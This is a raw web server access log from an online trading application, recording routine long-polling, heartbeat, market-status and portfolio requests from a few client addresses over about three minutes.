[09/Jan/2026:13:09:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935677195 HTTP/1.1" -
[09/Jan/2026:13:09:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_65_ffffff_1x400.png HTTP/1.1" 207
[09/Jan/2026:13:09:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_454545_256x240.png HTTP/1.1" 6992
[09/Jan/2026:13:09:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935665598 HTTP/1.1" -
[09/Jan/2026:13:09:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935683193 HTTP/1.1" -
[09/Jan/2026:13:10:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935670696 HTTP/1.1" -
[09/Jan/2026:13:10:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935689185 HTTP/1.1" -
[09/Jan/2026:13:10:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:10:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:10:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935675855 HTTP/1.1" -
[09/Jan/2026:13:10:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:10:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:10:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935695186 HTTP/1.1" -
[09/Jan/2026:13:10:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935680924 HTTP/1.1" -
[09/Jan/2026:13:10:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935701196 HTTP/1.1" -
[09/Jan/2026:13:10:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935685975 HTTP/1.1" -
[09/Jan/2026:13:10:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935691136 HTTP/1.1" -
[09/Jan/2026:13:10:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935707194 HTTP/1.1" -
[09/Jan/2026:13:10:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935696283 HTTP/1.1" -
[09/Jan/2026:13:10:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935713187 HTTP/1.1" -
[09/Jan/2026:13:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935701460 HTTP/1.1" -
[09/Jan/2026:13:10:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935719197 HTTP/1.1" -
[09/Jan/2026:13:10:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:10:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:10:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935706608 HTTP/1.1" -
[09/Jan/2026:13:10:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:10:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:10:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:10:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:10:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:10:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:10:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935725196 HTTP/1.1" -
[09/Jan/2026:13:10:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935711681 HTTP/1.1" -
[09/Jan/2026:13:10:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935731190 HTTP/1.1" -
[09/Jan/2026:13:10:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935716790 HTTP/1.1" -
[09/Jan/2026:13:10:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935737198 HTTP/1.1" -
[09/Jan/2026:13:10:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935721934 HTTP/1.1" -
[09/Jan/2026:13:10:53 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:13:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935727126 HTTP/1.1" -
[09/Jan/2026:13:10:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935743192 HTTP/1.1" -
[09/Jan/2026:13:11:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935732293 HTTP/1.1" -
[09/Jan/2026:13:11:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935749199 HTTP/1.1" -
[09/Jan/2026:13:11:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:11:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:11:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935737478 HTTP/1.1" -
[09/Jan/2026:13:11:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935755191 HTTP/1.1" -
[09/Jan/2026:13:11:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935742533 HTTP/1.1" -
[09/Jan/2026:13:11:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935761192 HTTP/1.1" -
[09/Jan/2026:13:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935747675 HTTP/1.1" -
[09/Jan/2026:13:11:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935767197 HTTP/1.1" -
[09/Jan/2026:13:11:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935752853 HTTP/1.1" -
[09/Jan/2026:13:11:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935773192 HTTP/1.1" -
[09/Jan/2026:13:11:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935757976 HTTP/1.1" -
[09/Jan/2026:13:11:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935763113 HTTP/1.1" -
[09/Jan/2026:13:11:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935779197 HTTP/1.1" -
[09/Jan/2026:13:11:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:11:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:11:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:11:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:11:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935768366 HTTP/1.1" -
[09/Jan/2026:13:11:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935785191 HTTP/1.1" -
[09/Jan/2026:13:11:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935773418 HTTP/1.1" -
[09/Jan/2026:13:11:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935791199 HTTP/1.1" -
[09/Jan/2026:13:11:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935778548 HTTP/1.1" -
[09/Jan/2026:13:11:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935797185 HTTP/1.1" -
[09/Jan/2026:13:11:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1801
[09/Jan/2026:13:11:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935783690 HTTP/1.1" -
[09/Jan/2026:13:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 7
[09/Jan/2026:13:11:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935803194 HTTP/1.1" -
[09/Jan/2026:13:11:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935788728 HTTP/1.1" -
[09/Jan/2026:13:12:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:12:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935809185 HTTP/1.1" -
[09/Jan/2026:13:12:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935793884 HTTP/1.1" -
[09/Jan/2026:13:12:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:12:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935799005 HTTP/1.1" -
[09/Jan/2026:13:12:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935815193 HTTP/1.1" -
[09/Jan/2026:13:12:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1506
[09/Jan/2026:13:12:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
